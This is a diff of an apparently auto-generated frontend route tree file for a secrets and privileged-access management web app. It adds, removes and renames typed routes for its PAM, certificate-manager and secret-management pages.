   AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDiscoveryRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDiscoveryRouteWithChildren
+  AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsRouteWithChildren
   AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutResourcesRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutResourcesRouteWithChildren
   AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutSessionsRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutSessionsRouteWithChildren
-  pamApprovalRequestDetailPageRouteRoute: typeof pamApprovalRequestDetailPageRouteRoute
   projectGroupDetailsByIDPageRoutePamRoute: typeof projectGroupDetailsByIDPageRoutePamRoute
   projectIdentityDetailsByIDPageRoutePamRoute: typeof projectIdentityDetailsByIDPageRoutePamRoute
   projectMemberDetailsByIDPageRoutePamRoute: typeof projectMemberDetailsByIDPageRoutePamRoute
@@ -4895,18 +5132,19 @@ interface pamLayoutRouteChildren {
 
 const pamLayoutRouteChildren: pamLayoutRouteChildren = {
   pamPamAccountPoliciesPageRouteRoute: pamPamAccountPoliciesPageRouteRoute,
-  pamApprovalsPageRouteRoute: pamApprovalsPageRouteRoute,
   pamSettingsPageRouteRoute: pamSettingsPageRouteRoute,
   projectAccessControlPageRoutePamRoute: projectAccessControlPageRoutePamRoute,
+  AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutApprovalsRoute:
+    AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutApprovalsRouteWithChildren,
   projectAuditLogsPageRoutePamRoute: projectAuditLogsPageRoutePamRoute,
   AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDiscoveryRoute:
     AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDiscoveryRouteWithChildren,
+  AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsRoute:
+    AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsRouteWithChildren,
   AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutResourcesRoute:
     AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutResourcesRouteWithChildren,
   AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutSessionsRoute:
     AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutSessionsRouteWithChildren,
-  pamApprovalRequestDetailPageRouteRoute:
-    pamApprovalRequestDetailPageRouteRoute,
   projectGroupDetailsByIDPageRoutePamRoute:
     projectGroupDetailsByIDPageRoutePamRoute,
   projectIdentityDetailsByIDPageRoutePamRoute:
@@ -5219,8 +5457,8 @@ const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsSecretManag
 interface secretManagerLayoutRouteChildren {
   secretManagerIPAllowlistPageRouteRoute: typeof secretManagerIPAllowlistPageRouteRoute
   secretManagerSecretApprovalsPageRouteRoute: typeof secretManagerSecretApprovalsPageRouteRoute
+  secretManagerInsightsPageRouteRoute: typeof secretManagerInsightsPageRouteRoute
   secretManagerOverviewPageRouteRoute: typeof secretManagerOverviewPageRouteRoute
-  secretManagerSecretRotationPageRouteRoute: typeof secretManagerSecretRotationPageRouteRoute
   secretManagerSettingsPageRouteRoute: typeof secretManagerSettingsPageRouteRoute
   projectAccessControlPageRouteSecretManagerRoute: typeof projectAccessControlPageRouteSecretManagerRoute
   projectAppConnectionsPageRouteSecretManagerRoute: typeof projectAppConnectionsPageRouteSecretManagerRoute
@@ -5239,9 +5477,8 @@ const secretManagerLayoutRouteChildren: secretManagerLayoutRouteChildren = {
     secretManagerIPAllowlistPageRouteRoute,
   secretManagerSecretApprovalsPageRouteRoute:
     secretManagerSecretApprovalsPageRouteRoute,
+  secretManagerInsightsPageRouteRoute: secretManagerInsightsPageRouteRoute,
   secretManagerOverviewPageRouteRoute: secretManagerOverviewPageRouteRoute,
-  secretManagerSecretRotationPageRouteRoute:
-    secretManagerSecretRotationPageRouteRoute,
   secretManagerSettingsPageRouteRoute: secretManagerSettingsPageRouteRoute,
   projectAccessControlPageRouteSecretManagerRoute:
     projectAccessControlPageRouteSecretManagerRoute,
@@ -5685,7 +5922,6 @@ interface RestrictLoginSignupLoginRouteChildren {
   authLoginLdapPageRouteRoute: typeof authLoginLdapPageRouteRoute
   authSelectOrgPageRouteRoute: typeof authSelectOrgPageRouteRoute
   authProviderErrorPageRouteRoute: typeof authProviderErrorPageRouteRoute
-  authProviderSuccessPageRouteRoute: typeof authProviderSuccessPageRouteRoute
 }
 
 const RestrictLoginSignupLoginRouteChildren: RestrictLoginSignupLoginRouteChildren =
@@ -5695,7 +5931,6 @@ const RestrictLoginSignupLoginRouteChildren: RestrictLoginSignupLoginRouteChildr
     authLoginLdapPageRouteRoute: authLoginLdapPageRouteRoute,
     authSelectOrgPageRouteRoute: authSelectOrgPageRouteRoute,
     authProviderErrorPageRouteRoute: authProviderErrorPageRouteRoute,
-    authProviderSuccessPageRouteRoute: authProviderSuccessPageRouteRoute,
   }
 
 const RestrictLoginSignupLoginRouteWithChildren =
@@ -5753,7 +5988,6 @@ export interface FileRoutesByFullPath {
   '/': typeof indexRoute
   '/cli-redirect': typeof authCliRedirectPageRouteRoute
   '/share-secret': typeof publicShareSecretPageRouteRoute
-  '/upgrade-path': typeof publicUpgradePathPageRouteRoute
   '': typeof organizationLayoutRouteWithChildren
   '/password-setup': typeof authPasswordSetupPageRouteRoute
   '/account-recovery': typeof authAccountRecoveryEmailPageRouteRoute
@@ -5779,7 +6013,6 @@ export interface FileRoutesByFullPath {
   '/admin': typeof adminLayoutRouteWithChildren
   '/personal-settings/': typeof userPersonalSettingsPageRouteRoute
   '/login/provider/error': typeof authProviderErrorPageRouteRoute
-  '/login/provider/success': typeof authProviderSuccessPageRouteRoute
   '/integrations': typeof AuthenticateInjectOrgDetailsOrgLayoutIntegrationsRouteWithChildren
   '/admin/': typeof adminGeneralPageRouteRoute
   '/admin/access-management': typeof adminAccessManagementPageRouteRoute
@@ -5829,20 +6062,19 @@ export interface FileRoutesByFullPath {
   '/organizations/$orgId/projects/ai/$projectId/overview': typeof aiMCPPageRouteRoute
   '/organizations/$orgId/projects/ai/$projectId/settings': typeof aiSettingsPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/alerting': typeof certManagerAlertingPageRouteRoute
-  '/organizations/$orgId/projects/cert-manager/$projectId/approvals': typeof certManagerApprovalsPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/certificate-authorities': typeof certManagerCertificateAuthoritiesPageRouteRoute
+  '/organizations/$orgId/projects/cert-manager/$projectId/overview': typeof certManagerDashboardPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/policies': typeof certManagerPoliciesPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/settings': typeof certManagerSettingsPageRouteRoute
   '/organizations/$orgId/projects/kms/$projectId/kmip': typeof kmsKmipPageRouteRoute
   '/organizations/$orgId/projects/kms/$projectId/overview': typeof kmsOverviewPageRouteRoute
   '/organizations/$orgId/projects/kms/$projectId/settings': typeof kmsSettingsPageRouteRoute
   '/organizations/$orgId/projects/pam/$projectId/account-policies': typeof pamPamAccountPoliciesPageRouteRoute
-  '/organizations/$orgId/projects/pam/$projectId/approvals': typeof pamApprovalsPageRouteRoute
   '/organizations/$orgId/projects/pam/$projectId/settings': typeof pamSettingsPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/allowlist': typeof secretManagerIPAllowlistPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/approval': typeof secretManagerSecretApprovalsPageRouteRoute
+  '/organizations/$orgId/projects/secret-management/$projectId/insights': typeof secretManagerInsightsPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/overview': typeof secretManagerOverviewPageRouteRoute
-  '/organizations/$orgId/projects/secret-management/$projectId/secret-rotation': typeof secretManagerSecretRotationPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/settings': typeof secretManagerSettingsPageRouteRoute
   '/organizations/$orgId/projects/secret-scanning/$projectId/findings': typeof secretScanningSecretScanningFindingsPageRouteRoute
   '/organizations/$orgId/projects/secret-scanning/$projectId/settings': typeof secretScanningSettingsPageRouteRoute
@@ -5850,10 +6082,12 @@ export interface FileRoutesByFullPath {
   '/organizations/$orgId/projects/ssh/$projectId/certificates': typeof sshSshCertsPageRouteRoute
   '/organizations/$orgId/projects/ssh/$projectId/overview': typeof sshSshHostsPageRouteRoute
   '/organizations/$orgId/projects/ssh/$projectId/settings': typeof sshSettingsPageRouteRoute
+  '/organizations/$orgId/projects/cert-manager/$projectId/': typeof certManagerDashboardPageRouteIndexRoute
   '/organizations/$orgId/projects/ai/$projectId/access-management': typeof projectAccessControlPageRouteAiRoute
   '/organizations/$orgId/projects/ai/$projectId/audit-logs': typeof projectAuditLogsPageRouteAiRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/access-management': typeof projectAccessControlPageRouteCertManagerRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/app-connections': typeof projectAppConnectionsPageRouteCertManagerRoute
+  '/organizations/$orgId/projects/cert-manager/$projectId/approvals': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutApprovalsRouteWithChildren
   '/organizations/$orgId/projects/cert-manager/$projectId/audit-logs': typeof projectAuditLogsPageRouteCertManagerRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/certificate-templates': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutCertificateTemplatesRouteWithChildren
   '/organizations/$orgId/projects/cert-manager/$projectId/code-signing': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutCodeSigningRouteWithChildren
@@ -5863,8 +6097,10 @@ export interface FileRoutesByFullPath {
   '/organizations/$orgId/projects/kms/$projectId/access-management': typeof projectAccessControlPageRouteKmsRoute
   '/organizations/$orgId/projects/kms/$projectId/audit-logs': typeof projectAuditLogsPageRouteKmsRoute
   '/organizations/$orgId/projects/pam/$projectId/access-management': typeof projectAccessControlPageRoutePamRoute
+  '/organizations/$orgId/projects/pam/$projectId/approvals': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutApprovalsRouteWithChildren
   '/organizations/$orgId/projects/pam/$projectId/audit-logs': typeof projectAuditLogsPageRoutePamRoute
   '/organizations/$orgId/projects/pam/$projectId/discovery': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDiscoveryRouteWithChildren
+  '/organizations/$orgId/projects/pam/$projectId/domains': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsRouteWithChildren
   '/organizations/$orgId/projects/pam/$projectId/resources': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutResourcesRouteWithChildren
   '/organizations/$orgId/projects/pam/$projectId/sessions': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutSessionsRouteWithChildren
   '/organizations/$orgId/projects/secret-management/$projectId/access-management': typeof projectAccessControlPageRouteSecretManagerRoute
@@ -5877,26 +6113,29 @@ export interface FileRoutesByFullPath {
   '/organizations/$orgId/projects/secret-scanning/$projectId/data-sources': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsSecretScanningProjectIdSecretScanningLayoutDataSourcesRouteWithChildren
   '/organizations/$orgId/projects/ssh/$projectId/access-management': typeof projectAccessControlPageRouteSshRoute
   '/organizations/$orgId/projects/ssh/$projectId/audit-logs': typeof projectAuditLogsPageRouteSshRoute
+  '/organizations/$orgId/projects/cert-manager/$projectId/approvals/': typeof certManagerApprovalsPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/certificate-templates/': typeof certManagerPkiTemplateListPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/code-signing/': typeof certManagerCodeSigningPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/discovery/': typeof certManagerDiscoveryPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/integrations/': typeof certManagerIntegrationsListPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/subscribers/': typeof certManagerPkiSubscribersPageRouteRoute
+  '/organizations/$orgId/projects/pam/$projectId/approvals/': typeof pamApprovalsPageRouteRoute
   '/organizations/$orgId/projects/pam/$projectId/discovery/': typeof pamPamDiscoveryPageRouteRoute
+  '/organizations/$orgId/projects/pam/$projectId/domains/': typeof pamPamDomainsPageRouteRoute
   '/organizations/$orgId/projects/pam/$projectId/resources/': typeof pamPamResourcesPageRouteRoute
   '/organizations/$orgId/projects/pam/$projectId/sessions/': typeof pamPamSessionsPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/integrations/': typeof secretManagerIntegrationsListPageRouteRoute
   '/organizations/$orgId/projects/secret-scanning/$projectId/data-sources/': typeof secretScanningSecretScanningDataSourcesPageRouteRoute
   '/organizations/$orgId/projects/ai/$projectId/mcp-endpoints/$endpointId': typeof aiMCPEndpointDetailPageRouteRoute
   '/organizations/$orgId/projects/ai/$projectId/mcp-servers/$serverId': typeof aiMCPServerDetailPageRouteRoute
-  '/organizations/$orgId/projects/cert-manager/$projectId/approval-requests/$approvalRequestId': typeof certManagerApprovalRequestDetailPageRouteRoute
+  '/organizations/$orgId/projects/cert-manager/$projectId/approvals/$approvalRequestId': typeof certManagerApprovalRequestDetailPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/ca/$caId': typeof certManagerCertAuthDetailsByIDPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/certificates/$certificateId': typeof certManagerCertificateDetailsByIDPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/code-signing/$signerId': typeof certManagerSignerDetailPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/discovery/$discoveryId': typeof certManagerDiscoveryDetailsByIDPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/integrations/$syncId': typeof certManagerPkiSyncDetailsByIDPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/subscribers/$subscriberName': typeof certManagerPkiSubscriberDetailsByIDPageRouteRoute
-  '/organizations/$orgId/projects/pam/$projectId/approval-requests/$approvalRequestId': typeof pamApprovalRequestDetailPageRouteRoute
+  '/organizations/$orgId/projects/pam/$projectId/approvals/$approvalRequestId': typeof pamApprovalRequestDetailPageRouteRoute
   '/organizations/$orgId/projects/pam/$projectId/sessions/$sessionId': typeof pamPamSessionsByIDPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/integrations/$integrationId': typeof secretManagerIntegrationsDetailsByIDPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/integrations/select-integration-auth': typeof secretManagerIntegrationsSelectIntegrationAuthPageRouteRoute
@@ -6000,8 +6239,10 @@ export interface FileRoutesByFullPath {
   '/organizations/$orgId/projects/secret-management/$projectId/integrations/windmill/authorize': typeof secretManagerIntegrationsWindmillAuthorizePageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/integrations/windmill/create': typeof secretManagerIntegrationsWindmillConfigurePageRouteRoute
   '/organizations/$orgId/projects/secret-scanning/$projectId/data-sources/$type/$dataSourceId': typeof secretScanningSecretScanningDataSourceByIdPageRouteRoute
+  '/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdRouteWithChildren
   '/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutResourcesResourceTypeResourceIdRouteWithChildren
   '/organizations/$orgId/projects/secret-management/$projectId/commits/$environment/$folderId': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsSecretManagementProjectIdSecretManagerLayoutCommitsEnvironmentFolderIdRouteWithChildren
+  '/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId/': typeof pamPamDomainByIDPageRouteRoute
   '/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId/': typeof pamPamResourceByIDPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/commits/$environment/$folderId/': typeof secretManagerCommitsPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/integrations/azure-app-configuration/oauth2/callback': typeof secretManagerIntegrationsAzureAppConfigurationOauthCallbackPageRouteRoute
@@ -6018,7 +6259,9 @@ export interface FileRoutesByFullPath {
   '/organizations/$orgId/projects/secret-management/$projectId/commits/$environment/$folderId/$commitId': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsSecretManagementProjectIdSecretManagerLayoutCommitsEnvironmentFolderIdCommitIdRouteWithChildren
   '/organizations/$orgId/projects/secret-management/$projectId/commits/$environment/$folderId/$commitId/': typeof secretManagerCommitDetailsPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/commits/$environment/$folderId/$commitId/restore': typeof secretManagerCommitDetailsPageComponentsRollbackPreviewTabRouteRoute
+  '/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId/accounts/$accountId': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdAccountsAccountIdRouteWithChildren
   '/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId/accounts/$accountId': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutResourcesResourceTypeResourceIdAccountsAccountIdRouteWithChildren
+  '/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId/accounts/$accountId/': typeof pamPamDomainAccountByIDPageRouteRoute
   '/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId/accounts/$accountId/': typeof pamPamAccountByIDPageRouteRoute
 }
 
@@ -6026,7 +6269,6 @@ export interface FileRoutesByTo {
   '/': typeof indexRoute
   '/cli-redirect': typeof authCliRedirectPageRouteRoute
   '/share-secret': typeof publicShareSecretPageRouteRoute
-  '/upgrade-path': typeof publicUpgradePathPageRouteRoute
   '': typeof organizationLayoutRouteWithChildren
   '/password-setup': typeof authPasswordSetupPageRouteRoute
   '/account-recovery': typeof authAccountRecoveryEmailPageRouteRoute
@@ -6049,7 +6291,6 @@ export interface FileRoutesByTo {
   '/shared/secret/$secretId': typeof publicViewSharedSecretByIDPageRouteRoute
   '/admin': typeof adminGeneralPageRouteRoute
   '/login/provider/error': typeof authProviderErrorPageRouteRoute
-  '/login/provider/success': typeof authProviderSuccessPageRouteRoute
   '/integrations': typeof AuthenticateInjectOrgDetailsOrgLayoutIntegrationsRouteWithChildren
   '/admin/access-management': typeof adminAccessManagementPageRouteRoute
   '/admin/authentication': typeof adminAuthenticationPageRouteRoute
@@ -6084,7 +6325,7 @@ export interface FileRoutesByTo {
   '/organization/app-connections/$appConnection/oauth/callback': typeof redirectsOauthCallbackRedirectRoute
   '/organizations/$orgId/settings/oauth/callback': typeof organizationSettingsPageOauthCallbackPageRouteRoute
   '/organizations/$orgId/projects/ai/$projectId': typeof aiLayoutRouteWithChildren
-  '/organizations/$orgId/projects/cert-manager/$projectId': typeof certManagerLayoutRouteWithChildren
+  '/organizations/$orgId/projects/cert-manager/$projectId': typeof certManagerDashboardPageRouteIndexRoute
   '/organizations/$orgId/projects/kms/$projectId': typeof kmsLayoutRouteWithChildren
   '/organizations/$orgId/projects/pam/$projectId': typeof pamLayoutRouteWithChildren
   '/organizations/$orgId/projects/secret-management/$projectId': typeof secretManagerLayoutRouteWithChildren
@@ -6095,20 +6336,19 @@ export interface FileRoutesByTo {
   '/organizations/$orgId/projects/ai/$projectId/overview': typeof aiMCPPageRouteRoute
   '/organizations/$orgId/projects/ai/$projectId/settings': typeof aiSettingsPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/alerting': typeof certManagerAlertingPageRouteRoute
-  '/organizations/$orgId/projects/cert-manager/$projectId/approvals': typeof certManagerApprovalsPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/certificate-authorities': typeof certManagerCertificateAuthoritiesPageRouteRoute
+  '/organizations/$orgId/projects/cert-manager/$projectId/overview': typeof certManagerDashboardPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/policies': typeof certManagerPoliciesPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/settings': typeof certManagerSettingsPageRouteRoute
   '/organizations/$orgId/projects/kms/$projectId/kmip': typeof kmsKmipPageRouteRoute
   '/organizations/$orgId/projects/kms/$projectId/overview': typeof kmsOverviewPageRouteRoute
   '/organizations/$orgId/projects/kms/$projectId/settings': typeof kmsSettingsPageRouteRoute
   '/organizations/$orgId/projects/pam/$projectId/account-policies': typeof pamPamAccountPoliciesPageRouteRoute
-  '/organizations/$orgId/projects/pam/$projectId/approvals': typeof pamApprovalsPageRouteRoute
   '/organizations/$orgId/projects/pam/$projectId/settings': typeof pamSettingsPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/allowlist': typeof secretManagerIPAllowlistPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/approval': typeof secretManagerSecretApprovalsPageRouteRoute
+  '/organizations/$orgId/projects/secret-management/$projectId/insights': typeof secretManagerInsightsPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/overview': typeof secretManagerOverviewPageRouteRoute
-  '/organizations/$orgId/projects/secret-management/$projectId/secret-rotation': typeof secretManagerSecretRotationPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/settings': typeof secretManagerSettingsPageRouteRoute
   '/organizations/$orgId/projects/secret-scanning/$projectId/findings': typeof secretScanningSecretScanningFindingsPageRouteRoute
   '/organizations/$orgId/projects/secret-scanning/$projectId/settings': typeof secretScanningSettingsPageRouteRoute
@@ -6133,26 +6373,29 @@ export interface FileRoutesByTo {
   '/organizations/$orgId/projects/secret-scanning/$projectId/audit-logs': typeof projectAuditLogsPageRouteSecretScanningRoute
   '/organizations/$orgId/projects/ssh/$projectId/access-management': typeof projectAccessControlPageRouteSshRoute
   '/organizations/$orgId/projects/ssh/$projectId/audit-logs': typeof projectAuditLogsPageRouteSshRoute
+  '/organizations/$orgId/projects/cert-manager/$projectId/approvals': typeof certManagerApprovalsPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/certificate-templates': typeof certManagerPkiTemplateListPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/code-signing': typeof certManagerCodeSigningPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/discovery': typeof certManagerDiscoveryPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/integrations': typeof certManagerIntegrationsListPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/subscribers': typeof certManagerPkiSubscribersPageRouteRoute
+  '/organizations/$orgId/projects/pam/$projectId/approvals': typeof pamApprovalsPageRouteRoute
   '/organizations/$orgId/projects/pam/$projectId/discovery': typeof pamPamDiscoveryPageRouteRoute
+  '/organizations/$orgId/projects/pam/$projectId/domains': typeof pamPamDomainsPageRouteRoute
   '/organizations/$orgId/projects/pam/$projectId/resources': typeof pamPamResourcesPageRouteRoute
   '/organizations/$orgId/projects/pam/$projectId/sessions': typeof pamPamSessionsPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/integrations': typeof secretManagerIntegrationsListPageRouteRoute
   '/organizations/$orgId/projects/secret-scanning/$projectId/data-sources': typeof secretScanningSecretScanningDataSourcesPageRouteRoute
   '/organizations/$orgId/projects/ai/$projectId/mcp-endpoints/$endpointId': typeof aiMCPEndpointDetailPageRouteRoute
   '/organizations/$orgId/projects/ai/$projectId/mcp-servers/$serverId': typeof aiMCPServerDetailPageRouteRoute
-  '/organizations/$orgId/projects/cert-manager/$projectId/approval-requests/$approvalRequestId': typeof certManagerApprovalRequestDetailPageRouteRoute
+  '/organizations/$orgId/projects/cert-manager/$projectId/approvals/$approvalRequestId': typeof certManagerApprovalRequestDetailPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/ca/$caId': typeof certManagerCertAuthDetailsByIDPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/certificates/$certificateId': typeof certManagerCertificateDetailsByIDPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/code-signing/$signerId': typeof certManagerSignerDetailPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/discovery/$discoveryId': typeof certManagerDiscoveryDetailsByIDPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/integrations/$syncId': typeof certManagerPkiSyncDetailsByIDPageRouteRoute
   '/organizations/$orgId/projects/cert-manager/$projectId/subscribers/$subscriberName': typeof certManagerPkiSubscriberDetailsByIDPageRouteRoute
-  '/organizations/$orgId/projects/pam/$projectId/approval-requests/$approvalRequestId': typeof pamApprovalRequestDetailPageRouteRoute
+  '/organizations/$orgId/projects/pam/$projectId/approvals/$approvalRequestId': typeof pamApprovalRequestDetailPageRouteRoute
   '/organizations/$orgId/projects/pam/$projectId/sessions/$sessionId': typeof pamPamSessionsByIDPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/integrations/$integrationId': typeof secretManagerIntegrationsDetailsByIDPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/integrations/select-integration-auth': typeof secretManagerIntegrationsSelectIntegrationAuthPageRouteRoute
@@ -6256,6 +6499,7 @@ export interface FileRoutesByTo {
   '/organizations/$orgId/projects/secret-management/$projectId/integrations/windmill/authorize': typeof secretManagerIntegrationsWindmillAuthorizePageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/integrations/windmill/create': typeof secretManagerIntegrationsWindmillConfigurePageRouteRoute
   '/organizations/$orgId/projects/secret-scanning/$projectId/data-sources/$type/$dataSourceId': typeof secretScanningSecretScanningDataSourceByIdPageRouteRoute
+  '/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId': typeof pamPamDomainByIDPageRouteRoute
   '/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId': typeof pamPamResourceByIDPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/commits/$environment/$folderId': typeof secretManagerCommitsPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/integrations/azure-app-configuration/oauth2/callback': typeof secretManagerIntegrationsAzureAppConfigurationOauthCallbackPageRouteRoute
@@ -6271,6 +6515,7 @@ export interface FileRoutesByTo {
   '/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId/accounts/$accountId/access': typeof pamPamAccountAccessPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/commits/$environment/$folderId/$commitId': typeof secretManagerCommitDetailsPageRouteRoute
   '/organizations/$orgId/projects/secret-management/$projectId/commits/$environment/$folderId/$commitId/restore': typeof secretManagerCommitDetailsPageComponentsRollbackPreviewTabRouteRoute
+  '/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId/accounts/$accountId': typeof pamPamDomainAccountByIDPageRouteRoute
   '/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId/accounts/$accountId': typeof pamPamAccountByIDPageRouteRoute
 }
 
@@ -6279,7 +6524,6 @@ export interface FileRoutesById {
   '/': typeof indexRoute
   '/cli-redirect': typeof authCliRedirectPageRouteRoute
   '/share-secret': typeof publicShareSecretPageRouteRoute
-  '/upgrade-path': typeof publicUpgradePathPageRouteRoute
   '/_authenticate': typeof middlewaresAuthenticateRouteWithChildren
   '/_restrict-login-signup': typeof middlewaresRestrictLoginSignupRouteWithChildren
   '/_authenticate/password-setup': typeof authPasswordSetupPageRouteRoute
@@ -6309,7 +6553,6 @@ export interface FileRoutesById {
   '/_authenticate/personal-settings/_layout': typeof userLayoutRouteWithChildren
   '/_authenticate/personal-settings/_layout/': typeof userPersonalSettingsPageRouteRoute
   '/_restrict-login-signup/login/provider/error': typeof authProviderErrorPageRouteRoute
-  '/_restrict-login-signup/login/provider/success': typeof authProviderSuccessPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/integrations': typeof AuthenticateInjectOrgDetailsOrgLayoutIntegrationsRouteWithChildren
   '/_authenticate/_inject-org-details/admin/_admin-layout': typeof adminLayoutRouteWithChildren
   '/_authenticate/_inject-org-details/admin/_admin-layout/': typeof adminGeneralPageRouteRoute
@@ -6367,20 +6610,19 @@ export interface FileRoutesById {
